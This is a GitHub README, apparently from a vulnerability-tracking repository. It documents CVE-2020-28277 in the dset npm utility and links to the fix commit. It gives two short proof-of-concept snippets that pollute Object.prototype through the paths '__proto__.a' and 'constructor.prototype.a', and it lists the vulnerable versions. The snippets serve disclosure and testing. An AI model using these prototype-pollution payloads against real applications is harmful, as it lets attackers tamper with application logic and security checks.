Skip to content

Latest commit

 

History

History
31 lines (21 loc) · 683 Bytes

README.md

File metadata and controls

31 lines (21 loc) · 683 Bytes

dset

A tiny (196B) utility for safely writing deep Object values~!

Latest version: 3.1.0

CVE Fix
CVE-2020-28277 https://github.com/lukeed/dset/commit/a4b8a935031b216a34c432ba9283b17ac32a68c6

Exploits

let dset = require('dset');
if (dset.dset) dset = dset.dset;

dset({}, '__proto__.a', 'b');
if (({}).a === 'b') console.log('exploitable');

Vulnerable versions: 1.0.0 1.0.1 2.0.0 2.0.1

let dset = require('dset');
if (dset.dset) dset = dset.dset;

dset({}, 'constructor.prototype.a', 'b');
if (({}).a === 'b') console.log('exploitable');

Vulnerable versions: 1.0.0 1.0.1 2.0.0 2.0.1